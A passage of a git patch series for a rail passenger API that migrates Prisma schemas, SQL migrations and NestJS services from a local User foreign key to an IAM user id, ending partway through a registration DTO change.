node-emoji@1.11.0: @@ -12457,20 +12254,12 @@ snapshots: node-fetch-native@1.6.7: {} - node-fetch@2.7.0: - dependencies: - whatwg-url: 5.0.0 - node-gyp-build@4.8.4: {} node-int64@0.4.0: {} node-releases@2.0.45: {} - nopt@5.0.0: - dependencies: - abbrev: 1.1.1 - normalize-path@3.0.0: {} npm-run-path@4.0.1: @@ -12481,13 +12270,6 @@ snapshots: dependencies: path-key: 4.0.0 - npmlog@5.0.1: - dependencies: - are-we-there-yet: 2.0.0 - console-control-strings: 1.1.0 - gauge: 3.0.2 - set-blocking: 2.0.0 - nypm@0.6.6: dependencies: citty: 0.2.2 @@ -13642,15 +13424,6 @@ snapshots: inherits: 2.0.4 readable-stream: 3.6.2 - tar@6.2.1: - dependencies: - chownr: 2.0.0 - fs-minipass: 2.1.0 - minipass: 5.0.0 - minizlib: 2.1.2 - mkdirp: 1.0.4 - yallist: 4.0.0 - terser-webpack-plugin@5.6.0(webpack@5.106.0): dependencies: '@jridgewell/trace-mapping': 0.3.31 @@ -13746,8 +13519,6 @@ snapshots: '@tokenizer/token': 0.3.0 ieee754: 1.2.1 - tr46@0.0.3: {} - traverse@0.3.9: {} ts-api-utils@2.5.0(typescript@5.9.3): @@ -14094,8 +13865,6 @@ snapshots: optionalDependencies: '@zxing/text-encoding': 0.9.0 - webidl-conversions@3.0.1: {} - webpack-node-externals@3.0.0: {} webpack-sources@3.4.1: {} @@ -14141,11 +13910,6 @@ snapshots: - postcss - uglify-js - whatwg-url@5.0.0: - dependencies: - tr46: 0.0.3 - webidl-conversions: 3.0.1 - which-boxed-primitive@1.1.1: dependencies: is-bigint: 1.1.0 @@ -14193,10 +13957,6 @@ snapshots: dependencies: isexe: 2.0.0 - wide-align@1.1.5: - dependencies: - string-width: 4.2.3 - winston-daily-rotate-file@1.7.2(winston@2.4.7): dependencies: mkdirp: 0.5.1 @@ -14279,8 +14039,6 @@ snapshots: yallist@3.1.1: {} - yallist@4.0.0: {} - yaml@2.9.0: {} yargs-parser@18.1.3: From 8c377e86d8df6ca2c000a0c1dbe6a9c00be0a272 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 8 Jun 2026 15:49:42 +0300 Subject: [PATCH 08/51] refactor( iam ): replace userId FK with iamUserId on UserPreferences, Device, FraudAlert --- .../migration.sql | 13 +++++++++++++ apps/edr-passenger-api/prisma/schema.prisma | 14 ++++---------- .../src/modules/auth/passenger-auth.service.ts | 2 +- .../src/modules/bookings/bookings.service.ts | 16 ++++++++-------- .../src/modules/fraud/fraud.service.ts | 4 ++-- .../notifications/notifications.service.ts | 17 +++++++++-------- 6 files changed, 37 insertions(+), 29 deletions(-) create mode 100644 apps/edr-passenger-api/prisma/migrations/20260608080000_rename_userid_to_iamuserid_on_preferences_device_fraudalert/migration.sql diff --git a/apps/edr-passenger-api/prisma/migrations/20260608080000_rename_userid_to_iamuserid_on_preferences_device_fraudalert/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260608080000_rename_userid_to_iamuserid_on_preferences_device_fraudalert/migration.sql new file mode 100644 index 000000000..ec1cfd078 --- /dev/null +++ b/apps/edr-passenger-api/prisma/migrations/20260608080000_rename_userid_to_iamuserid_on_preferences_device_fraudalert/migration.sql @@ -0,0 +1,13 @@ +-- Drop FK constraints (they reference iam.users indirectly via local User, but these are within passenger schema) +ALTER TABLE passenger."UserPreferences" DROP CONSTRAINT IF EXISTS "UserPreferences_userId_fkey"; +ALTER TABLE passenger."Device" DROP CONSTRAINT IF EXISTS "Device_userId_fkey"; +ALTER TABLE passenger."FraudAlert" DROP CONSTRAINT IF EXISTS "FraudAlert_userId_fkey"; + +-- Rename columns (preserves all existing data) +ALTER TABLE passenger."UserPreferences" RENAME COLUMN "userId" TO "iamUserId"; +ALTER TABLE passenger."Device" RENAME COLUMN "userId" TO "iamUserId"; +ALTER TABLE passenger."FraudAlert" RENAME COLUMN "userId" TO "iamUserId"; + +-- Rename indexes on FraudAlert to match new column name +DROP INDEX IF EXISTS passenger."FraudAlert_userId_createdAt_idx"; +CREATE INDEX "FraudAlert_iamUserId_createdAt_idx" ON passenger."FraudAlert"("iamUserId", "createdAt"); diff --git a/apps/edr-passenger-api/prisma/schema.prisma b/apps/edr-passenger-api/prisma/schema.prisma index 65d4b64a5..bcf96954b 100644 --- a/apps/edr-passenger-api/prisma/schema.prisma +++ b/apps/edr-passenger-api/prisma/schema.prisma @@ -232,10 +232,7 @@ model User { passenger Passenger? agent Agent? sessions Session[] - devices Device[] - preferences UserPreferences? auditLogs AuditLog[] - fraudAlerts FraudAlert[] faydaVerificationSessions FaydaVerificationSession[] @@ -870,7 +867,7 @@ model SupportMessage { model UserPreferences { id String @id @default(uuid()) - userId String @unique + iamUserId String @unique pushEnabled Boolean @default(true) emailEnabled Boolean @default(true) smsEnabled Boolean @default(false) @@ -883,20 +880,18 @@ model UserPreferences { locale String @default("en") darkMode Boolean @default(false) language String @default("en") - user User @relation(fields: [userId], references: [id]) @@schema("passenger") } model Device { id String @id @default(uuid()) - userId String + iamUserId String platform DevicePlatform name String pushToken String? trusted Boolean @default(false) lastSeenAt DateTime @default(now()) - user User @relation(fields: [userId], references: [id]) @@schema("passenger") } @@ -1222,15 +1217,14 @@ model FraudRule { model FraudAlert { id String @id @default(uuid()) - userId String + iamUserId String eventType String triggeredRules String[] context Json severity String @default("MEDIUM") acknowledged Boolean @default(false) createdAt DateTime @default(now()) - user User @relation(fields: [userId], references: [id], onDelete: Cascade) - @@index([userId, createdAt]) + @@index([iamUserId, createdAt]) @@index([acknowledged]) @@schema("passenger") diff --git a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts index b634c607c..e78e814e0 100644 --- a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts +++ b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts @@ -192,7 +192,7 @@ export class PassengerAuthService { }); await tx.loyaltyAccount.create({ data: { passengerId: passenger.id } }); await tx.walletAccount.create({ data: { passengerId: passenger.id } }); - await tx.userPreferences.create({ data: { userId: user.id } }); + await tx.userPreferences.create({ data: { iamUserId: data.iamUserId } }); await tx.auditLog.create({ data: { userId: user.id, diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts index 1fd74de9f..64002782e 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts @@ -106,22 +106,22 @@ export class BookingsService { const { search, status, page = 1, pageSize = 20 } = filters; const skip = (page - 1) * pageSize; - // Find user with this device ID - const device = await this.prisma.device.findUnique({ - where: { id: deviceId }, - include: { user: { include: { passenger: true } } }, - }).catch(() => null); - + // Find passenger linked to this device via iamUserId + const device = await this.prisma.device.findUnique({ where: { id: deviceId } }).catch(() => null); + const passenger = device?.iamUserId + ? await this.prisma.passenger.findUnique({ where: { iamUserId: device.iamUserId } }).catch(() => null) + : null; + const searchConditions = search ? [ { bookingRef: { contains: search, mode: 'insensitive' } }, { schedule: { originStation: { name: { contains: search, mode: 'insensitive' } } } }, { schedule: { destinationStation: { name: { contains: search, mode: 'insensitive' } } } }, ] : []; - + const where: any = { OR: [ { userAgent: deviceId }, - ...(device?.user?.passenger ? [{ passengerId: device.user.passenger.id }] : []), + ...(passenger ? [{ passengerId: passenger.id }] : []), ], }; diff --git a/apps/edr-passenger-api/src/modules/fraud/fraud.service.ts b/apps/edr-passenger-api/src/modules/fraud/fraud.service.ts index 7c3b66e6b..4b1912750 100644 --- a/apps/edr-passenger-api/src/modules/fraud/fraud.service.ts +++ b/apps/edr-passenger-api/src/modules/fraud/fraud.service.ts @@ -138,7 +138,7 @@ export class FraudService { ): Promise { const alert = await this.prisma.fraudAlert.create({ data: { - userId, + iamUserId: userId, eventType, triggeredRules, context: context as any, @@ -182,7 +182,7 @@ export class FraudService { */ async getAlerts(userId?: string, limit = 100, offset = 0) { return this.prisma.fraudAlert.findMany({ - where: userId ? { userId } : {}, + where: userId ? { iamUserId: userId } : {}, orderBy: { createdAt: 'desc' }, take: limit, skip: offset, diff --git a/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts b/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts index e793a1322..d0e58db85 100644 --- a/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts +++ b/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts @@ -166,20 +166,21 @@ export class NotificationsService { private async getUserPreferredChannels(recipient: string): Promise { const user = await this.prisma.user.findFirst({ - where: { - OR: [{ id: recipient }, { email: recipient }, { phone: recipient }], - }, - include: { preferences: true }, + where: { OR: [{ id: recipient }, { email: recipient }, { phone: recipient }] }, + include: { passenger: { select: { iamUserId: true } } }, }); - if (!user?.preferences) { + const iamUserId = user?.passenger?.iamUserId ?? recipient; + const preferences = await this.prisma.userPreferences.findUnique({ where: { iamUserId } }); + + if (!preferences) { return ['IN_APP', 'EMAIL']; } const channels: NotificationChannelType[] = ['IN_APP']; - if (user.preferences.emailEnabled) channels.push('EMAIL'); - if (user.preferences.smsEnabled) channels.push('SMS'); - if (user.preferences.pushEnabled) channels.push('PUSH'); + if (preferences.emailEnabled) channels.push('EMAIL'); + if (preferences.smsEnabled) channels.push('SMS'); + if (preferences.pushEnabled) channels.push('PUSH'); return channels; } From 32f2f4b9174f5a5900316c2da72609ffe03869be Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 8 Jun 2026 16:26:59 +0300 Subject: [PATCH 09/51] refactor( iam ): rename AuditLog.userId to iamUserId; drop FaydaVerificationSession.userId --- .../migration.sql | 10 ++++++++++ apps/edr-passenger-api/prisma/schema.prisma | 12 ++---------- .../src/modules/auth/passenger-auth.service.ts | 4 ++-- .../src/modules/verifayda/verifayda.service.ts | 2 -- 4 files changed, 14 insertions(+), 14 deletions(-) create mode 100644 apps/edr-passenger-api/prisma/migrations/20260608090000_rename_auditlog_userid_drop_fayda_userid/migration.sql diff --git a/apps/edr-passenger-api/prisma/migrations/20260608090000_rename_auditlog_userid_drop_fayda_userid/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260608090000_rename_auditlog_userid_drop_fayda_userid/migration.sql new file mode 100644 index 000000000..52914b220 --- /dev/null +++ b/apps/edr-passenger-api/prisma/migrations/20260608090000_rename_auditlog_userid_drop_fayda_userid/migration.sql @@ -0,0 +1,10 @@ +-- AuditLog: drop FK, rename column, update index +ALTER TABLE passenger."AuditLog" DROP CONSTRAINT IF EXISTS "AuditLog_userId_fkey"; +ALTER TABLE passenger."AuditLog" RENAME COLUMN "userId" TO "iamUserId"; +DROP INDEX IF EXISTS passenger."AuditLog_userId_createdAt_idx"; +CREATE INDEX IF NOT EXISTS "AuditLog_iamUserId_createdAt_idx" ON passenger."AuditLog"("iamUserId", "createdAt"); + +-- FaydaVerificationSession: drop userId column and FK (iamUserId already carries this data) +ALTER TABLE passenger."FaydaVerificationSession" DROP CONSTRAINT IF EXISTS "FaydaVerificationSession_userId_fkey"; +ALTER TABLE passenger."FaydaVerificationSession" DROP COLUMN IF EXISTS "userId"; +DROP INDEX IF EXISTS passenger."FaydaVerificationSession_userId_idx"; diff --git a/apps/edr-passenger-api/prisma/schema.prisma b/apps/edr-passenger-api/prisma/schema.prisma index bcf96954b..04b431961 100644 --- a/apps/edr-passenger-api/prisma/schema.prisma +++ b/apps/edr-passenger-api/prisma/schema.prisma @@ -232,9 +232,6 @@ model User { passenger Passenger? agent Agent? sessions Session[] - auditLogs AuditLog[] - - faydaVerificationSessions FaydaVerificationSession[] @@schema("passenger") } @@ -1148,7 +1145,7 @@ model BaggageBooking { model AuditLog { id String @id @default(uuid()) - userId String? + iamUserId String? action String entityType String entityId String? @@ -1157,8 +1154,7 @@ model AuditLog { ipAddress String? userAgent String? createdAt DateTime @default(now()) - user User? @relation(fields: [userId], references: [id]) - @@index([userId, createdAt]) + @@index([iamUserId, createdAt]) @@index([entityType, entityId]) @@schema("passenger") @@ -1295,13 +1291,9 @@ model FaydaVerificationSession { expiresAt DateTime completedAt DateTime? - userId String? iamUserId String? bookingId String? - user User? @relation(fields: [userId], references: [id], onDelete: Cascade) - - @@index([userId]) @@index([iamUserId]) @@index([bookingId]) @@index([state]) diff --git a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts index e78e814e0..759ba4a95 100644 --- a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts +++ b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts @@ -195,10 +195,10 @@ export class PassengerAuthService { await tx.userPreferences.create({ data: { iamUserId: data.iamUserId } }); await tx.auditLog.create({ data: { - userId: user.id, + iamUserId: data.iamUserId, action: data.auditAction, entityType: 'User', - entityId: user.id, + entityId: data.iamUserId, newData: { email: data.email, iamUserId: data.iamUserId }, }, }); diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts index f088de8bd..db4a61abb 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts @@ -141,7 +141,6 @@ export class VerifaydaService { platform: input.platform ?? 'WEB', saveToAccount: input.saveToAccount ?? false, iamUserId: input.userId ?? null, - userId: null, bookingId: input.bookingId ?? null, expiresAt, }, @@ -421,7 +420,6 @@ export class VerifaydaService { session: { id: string; iamUserId: string | null; - userId: string | null; bookingId: string | null; saveToAccount: boolean; }, From 1d354533389000b64defd38593a60fb51ca73e6b Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Tue, 9 Jun 2026 10:31:49 +0300 Subject: [PATCH 10/51] refactor( iam ): remove prisma.user references from passenger-side services --- .../migration.sql | 5 + apps/edr-passenger-api/prisma/schema.prisma | 1 + .../modules/auth/passenger-auth.service.ts | 9 +- .../src/modules/fraud/fraud.service.ts | 19 ++-- .../notifications/notifications.service.ts | 95 +++++++++++-------- .../passengers/passengers.controller.ts | 18 +--- .../modules/passengers/passengers.service.ts | 29 ++---- .../verifayda/verifayda.service.spec.ts | 2 + .../modules/verifayda/verifayda.service.ts | 28 +++--- 9 files changed, 99 insertions(+), 107 deletions(-) create mode 100644 apps/edr-passenger-api/prisma/migrations/20260609065750_add_blocked_until_to_passenger/migration.sql diff --git a/apps/edr-passenger-api/prisma/migrations/20260609065750_add_blocked_until_to_passenger/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260609065750_add_blocked_until_to_passenger/migration.sql new file mode 100644 index 000000000..125074c12 --- /dev/null +++ b/apps/edr-passenger-api/prisma/migrations/20260609065750_add_blocked_until_to_passenger/migration.sql @@ -0,0 +1,5 @@ +-- AlterTable +ALTER TABLE "Passenger" ADD COLUMN "blockedUntil" TIMESTAMP(3); + +-- RenameIndex +ALTER INDEX "UserPreferences_userId_key" RENAME TO "UserPreferences_iamUserId_key"; diff --git a/apps/edr-passenger-api/prisma/schema.prisma b/apps/edr-passenger-api/prisma/schema.prisma index 04b431961..af078daa7 100644 --- a/apps/edr-passenger-api/prisma/schema.prisma +++ b/apps/edr-passenger-api/prisma/schema.prisma @@ -256,6 +256,7 @@ model Passenger { iamUserId String? @unique defaultTravelerProfileId String? preferredLanguage String? + blockedUntil DateTime? createdAt DateTime @default(now()) user User? @relation(fields: [userId], references: [id]) bookings Booking[] diff --git a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts index 759ba4a95..3e09d2fe2 100644 --- a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts +++ b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts @@ -31,10 +31,11 @@ export class PassengerAuthService { } async register(dto: RegisterDto, req: any) { - const existing = await this.prisma.user.findFirst({ - where: { OR: [{ email: dto.email }, { phone: dto.phone }] }, - }); - if (existing) throw new ConflictException('Email or phone already registered'); + const existing = await this.dataSource.query<{ id: string }[]>( + `SELECT id FROM iam.users WHERE email = $1 OR phone_number = $2 LIMIT 1`, + [dto.email, dto.phone], + ); + if (existing.length) throw new ConflictException('Email or phone already registered'); const iamAuthService = await this.resolveIamAuthService(req); diff --git a/apps/edr-passenger-api/src/modules/fraud/fraud.service.ts b/apps/edr-passenger-api/src/modules/fraud/fraud.service.ts index 4b1912750..c7541667e 100644 --- a/apps/edr-passenger-api/src/modules/fraud/fraud.service.ts +++ b/apps/edr-passenger-api/src/modules/fraud/fraud.service.ts @@ -25,9 +25,6 @@ export class FraudService { context: Record, ): Promise<{ triggered: boolean; rules: string[] }> { const triggeredRules: string[] = []; - const user = await this.prisma.user.findUnique({ where: { id: userId } }); - - if (!user) return { triggered: false, rules: [] }; // Check velocity rule (multiple bookings in short time) if (eventType === 'booking.created') { @@ -157,24 +154,24 @@ export class FraudService { /** * Block user temporarily */ - async blockUserTemporarily(userId: string, durationMinutes: number): Promise { + async blockUserTemporarily(iamUserId: string, durationMinutes: number): Promise { const blockedUntil = new Date(Date.now() + durationMinutes * 60 * 1000); - await this.prisma.user.update({ - where: { id: userId }, + await this.prisma.passenger.updateMany({ + where: { iamUserId }, data: { blockedUntil }, }); - this.logger.warn(`User ${userId} blocked until ${blockedUntil.toISOString()}`); + this.logger.warn(`Passenger (iamUserId=${iamUserId}) blocked until ${blockedUntil.toISOString()}`); } /** * Unblock user */ - async unblockUser(userId: string): Promise { - await this.prisma.user.update({ - where: { id: userId }, + async unblockUser(iamUserId: string): Promise { + await this.prisma.passenger.updateMany({ + where: { iamUserId }, data: { blockedUntil: null }, }); - this.logger.log(`User ${userId} unblocked`); + this.logger.log(`Passenger (iamUserId=${iamUserId}) unblocked`); } /** diff --git a/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts b/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts index d0e58db85..fc8d4c805 100644 --- a/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts +++ b/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts @@ -1,11 +1,15 @@ import { Injectable, Logger, NotFoundException } from '@nestjs/common'; import { OnEvent } from '@nestjs/event-emitter'; +import { InjectDataSource } from '@nestjs/typeorm'; +import { DataSource } from 'typeorm'; import { PrismaService } from '../../common/prisma.service'; import { SendNotificationDto, NotificationCategoryEnum } from './notifications.dto'; import { EmailAdapter, SmsAdapter, PushAdapter, NotificationChannel } from './notification.adapters'; export type NotificationChannelType = 'EMAIL' | 'SMS' | 'PUSH' | 'IN_APP'; +const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i; + @Injectable() export class NotificationsService { private readonly logger = new Logger(NotificationsService.name); @@ -13,6 +17,7 @@ export class NotificationsService { constructor( private prisma: PrismaService, + @InjectDataSource() private readonly dataSource: DataSource, private emailAdapter: EmailAdapter, private smsAdapter: SmsAdapter, private pushAdapter: PushAdapter, @@ -98,15 +103,17 @@ export class NotificationsService { const passenger = await this.prisma.passenger.findUnique({ where: { id: dto.passengerId }, - include: { user: true }, }); - if (passenger?.user) { - await this.emailAdapter.send( - passenger.user.email, - this.sanitize(dto.title), - this.sanitize(dto.body), - ); + if (passenger?.iamUserId) { + const contact = await this.resolveContactInfo(passenger.iamUserId); + if (contact.email) { + await this.emailAdapter.send( + contact.email, + this.sanitize(dto.title), + this.sanitize(dto.body), + ); + } } return notification; @@ -118,22 +125,20 @@ export class NotificationsService { body: string, context: Record, ): Promise { - // Try to find passenger by ID or email let passengerId = recipient; - if (!recipient.match(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i)) { - const user = await this.prisma.user.findFirst({ - where: { - OR: [{ email: recipient }, { phone: recipient }], - }, - include: { passenger: true }, - }); - if (user?.passenger) { - passengerId = user.passenger.id; - } else { + if (!UUID_RE.test(recipient)) { + const iamUserId = await this.resolveIamUserId(recipient); + if (!iamUserId) { this.logger.warn(`Could not find passenger for recipient: ${recipient}`); return; } + const passenger = await this.prisma.passenger.findUnique({ where: { iamUserId } }); + if (!passenger) { + this.logger.warn(`Could not find passenger for recipient: ${recipient}`); + return; + } + passengerId = passenger.id; } await this.prisma.notification.create({ @@ -165,13 +170,10 @@ export class NotificationsService { } private async getUserPreferredChannels(recipient: string): Promise { - const user = await this.prisma.user.findFirst({ - where: { OR: [{ id: recipient }, { email: recipient }, { phone: recipient }] }, - include: { passenger: { select: { iamUserId: true } } }, - }); - - const iamUserId = user?.passenger?.iamUserId ?? recipient; - const preferences = await this.prisma.userPreferences.findUnique({ where: { iamUserId } }); + const iamUserId = await this.resolveIamUserId(recipient); + const preferences = iamUserId + ? await this.prisma.userPreferences.findUnique({ where: { iamUserId } }) + : null; if (!preferences) { return ['IN_APP', 'EMAIL']; @@ -189,27 +191,38 @@ export class NotificationsService { recipient: string, channel: NotificationChannelType, ): Promise { - const user = await this.prisma.user.findFirst({ - where: { - OR: [{ id: recipient }, { email: recipient }, { phone: recipient }], - }, - }); - - if (!user) return null; + const iamUserId = await this.resolveIamUserId(recipient); + if (!iamUserId) return null; + const contact = await this.resolveContactInfo(iamUserId); switch (channel) { - case 'EMAIL': - return user.email; - case 'SMS': - return user.phone; - case 'PUSH': - // Would need to fetch device push token - return user.id; - default: - return null; + case 'EMAIL': return contact.email; + case 'SMS': return contact.phone; + case 'PUSH': return iamUserId; + default: return null; } } + private async resolveIamUserId(recipient: string): Promise { + if (UUID_RE.test(recipient)) { + const passenger = await this.prisma.passenger.findUnique({ where: { id: recipient } }); + return passenger?.iamUserId ?? recipient; + } + const rows = await this.dataSource.query<{ id: string }[]>( + `SELECT id FROM iam.users WHERE email = $1 OR phone_number = $1 LIMIT 1`, + [recipient], + ); + return rows[0]?.id ?? null; + } + + private async resolveContactInfo(iamUserId: string): Promise<{ email: string | null; phone: string | null }> { + const rows = await this.dataSource.query<{ email: string; phone_number: string | null }[]>( + `SELECT email, phone_number FROM iam.users WHERE id = $1 LIMIT 1`, + [iamUserId], + ); + return { email: rows[0]?.email ?? null, phone: rows[0]?.phone_number ?? null }; + } + private sanitize(value: string): string { return value .replace(/[\r\n]/g, ' ') diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts index c9a7bca54..a1fa749ee 100644 --- a/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts +++ b/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts @@ -52,25 +52,17 @@ export class PassengersController { }) @ApiResponse({ status: 401, description: 'Unauthorized - Invalid or missing token' }) async getMe(@Request() req: any) { - if (!req.user || !req.user.userId) { + if (!req.user || !req.user.id) { throw new UnauthorizedException('User not authenticated'); } try { - const user = await this.prisma.user.findUnique({ - where: { id: req.user.userId }, - include: { - passenger: true, - }, + const passenger = await this.prisma.passenger.findUnique({ + where: { iamUserId: req.user.id }, }); - - if (!user || !user.passenger) { - return null; - } - - return this.service.getProfile(user.passenger.id); + if (!passenger) return null; + return this.service.getProfile(passenger.id); } catch (error) { - // If profile lookup fails for any reason, return null to allow app to continue return null; } } diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts index 6b8b34cf8..362d1ccfe 100644 --- a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts +++ b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts @@ -92,6 +92,9 @@ export class PassengersService { } async getProfile(passengerId: string) { + + console.log("here"); + const p = await this.prisma.passenger.findUnique({ where: { id: passengerId }, include: { @@ -230,36 +233,18 @@ export class PassengersService { email: dto.email, }; - // If logged in, update user profile and link passenger + // If logged in, link passenger if (isLoggedIn) { - // dto.userId is the IAM user UUID — resolve via Passenger.iamUserId const linkedPassenger = await this.prisma.passenger.findUnique({ where: { iamUserId: dto.userId }, - include: { user: true }, }); - const user = linkedPassenger?.user ?? null; - if (!user) { - throw new BadRequestException('User not found'); - } - - // Update user record if not already verified - if (!user.faydaVerified && verifiedData) { - await this.prisma.user.update({ - where: { id: user.id }, - data: { - fullName: finalData.passengerName, - nationality: finalData.nationality, - nationalId: dto.nationalId, - passportNumber: dto.passportNumber, - faydaVerified: !!verifiedData, - faydaVerifiedAt: verifiedData ? new Date() : null, - }, - }); + if (!linkedPassenger) { + throw new BadRequestException('Passenger not found'); } return { - id: linkedPassenger?.id || user.id, + id: linkedPassenger.id, passengerName: finalData.passengerName, dateOfBirth: finalData.dateOfBirth, nationality: finalData.nationality, diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts index 4d4695c61..d3b2da044 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts @@ -73,6 +73,7 @@ describe('VerifaydaService (OIDC, client-callback)', () => { service = new VerifaydaService( buildConfigService(cfg), prisma as unknown as PrismaService, + { query: jest.fn().mockResolvedValue([]) } as any, ); (global as any).fetch = jest.fn(); }); @@ -126,6 +127,7 @@ describe('VerifaydaService (OIDC, client-callback)', () => { const disabledService = new VerifaydaService( buildConfigService(buildConfig({ enabled: false })), prisma as unknown as PrismaService, + { query: jest.fn().mockResolvedValue([]) } as any, ); await expect( disabledService.startVerification({ purpose: 'PURCHASE' }), diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts index db4a61abb..09e5c20f7 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts @@ -6,6 +6,8 @@ import { UnauthorizedException, } from '@nestjs/common'; import { ConfigService } from '@nestjs/config'; +import { InjectDataSource } from '@nestjs/typeorm'; +import { DataSource } from 'typeorm'; import axios, { AxiosInstance } from 'axios'; import { PrismaService } from '../../common/prisma.service'; import { FaydaConfig, FaydaPlatform } from '../../config/fayda.config'; @@ -85,6 +87,7 @@ export class VerifaydaService { constructor( private readonly config: ConfigService, private readonly prisma: PrismaService, + @InjectDataSource() private readonly dataSource: DataSource, ) { const fayda = this.config.get('fayda'); if (!fayda) { @@ -438,23 +441,16 @@ export class VerifaydaService { const iamUserId = session.iamUserId; if (iamUserId && session.saveToAccount) { - const passenger = await this.prisma.passenger.findUnique({ - where: { iamUserId }, - select: { userId: true }, - }); - const localUserId = passenger?.userId; - if (!localUserId) return; + const conflicts = await this.dataSource.query<{ id: string }[]>( + `SELECT id FROM iam.users WHERE metadata->>'faydaSub' = $1 AND id != $2 LIMIT 1`, + [normalized.sub, iamUserId], + ); + if (conflicts.length) throw new FaydaIdentityConflictException(); - const conflict = await this.prisma.user.findFirst({ - where: { faydaSub: normalized.sub, NOT: { id: localUserId } }, - select: { id: true }, - }); - if (conflict) throw new FaydaIdentityConflictException(); - - await this.prisma.user.update({ - where: { id: localUserId }, - data: { faydaVerified: true, faydaVerifiedAt: new Date(), faydaSub: normalized.sub }, - }); + await this.dataSource.query( + `UPDATE iam.users SET metadata = COALESCE(metadata, '{}') || $1::jsonb WHERE id = $2`, + [JSON.stringify({ faydaSub: normalized.sub, faydaVerified: true, faydaVerifiedAt: new Date().toISOString() }), iamUserId], + ); } } From 5ae6d9600a3ac1cdae6bccfe7651214e02beda14 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Tue, 9 Jun 2026 11:53:46 +0300 Subject: [PATCH 11/51] refactor(iam): remove remaining prisma.user refs from passenger side align RegisterDto to IAM body --- .../src/modules/auth/auth.dto.ts | 46 ++-- .../modules/auth/passenger-auth.service.ts | 127 +++------ .../modules/bookings/guest-booking.service.ts | 8 +- .../modules/passengers/passengers.service.ts | 247 ++++++++++++------ .../verifayda/verifayda.service.spec.ts | 197 +++++--------- .../modules/verifayda/verifayda.service.ts | 45 +--- 6 files changed, 296 insertions(+), 374 deletions(-) diff --git a/apps/edr-passenger-api/src/modules/auth/auth.dto.ts b/apps/edr-passenger-api/src/modules/auth/auth.dto.ts index a32601c25..e12c8cd06 100644 --- a/apps/edr-passenger-api/src/modules/auth/auth.dto.ts +++ b/apps/edr-passenger-api/src/modules/auth/auth.dto.ts @@ -1,43 +1,43 @@ -import { IsEmail, IsString, MinLength, IsOptional } from 'class-validator'; -import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger'; +import { IsEmail, IsString, MinLength, ValidateNested } from 'class-validator'; +import { Type } from 'class-transformer'; +import { ApiProperty } from '@nestjs/swagger'; + +export class NameDto { + @ApiProperty({ example: 'ቀለሙ ቀጸላ' }) + @IsString() + am: string; -export class RegisterDto { @ApiProperty({ example: 'Kelemu Ketsela' }) @IsString() - fullName: string; + en: string; +} +export class RegisterDto { @ApiProperty({ example: 'kelemu@email.com' }) @IsEmail() email: string; + @ApiProperty({ example: 'kelemu.ketsela' }) + @IsString() + username: string; + @ApiProperty({ example: '+251912345678' }) @IsString() - phone: string; + phoneNumber: string; + + @ApiProperty({ type: NameDto }) + @ValidateNested() + @Type(() => NameDto) + name: NameDto; @ApiProperty({ example: 'SecurePass123', minLength: 8, format: 'password' }) @IsString() @MinLength(8) password: string; - @ApiPropertyOptional({ example: 'SecurePass123', format: 'password' }) - @IsOptional() + @ApiProperty({ example: 'SecurePass123', format: 'password' }) @IsString() - confirmPassword?: string; - - @ApiPropertyOptional({ example: 'Ethiopian' }) - @IsOptional() - @IsString() - nationality?: string; - - 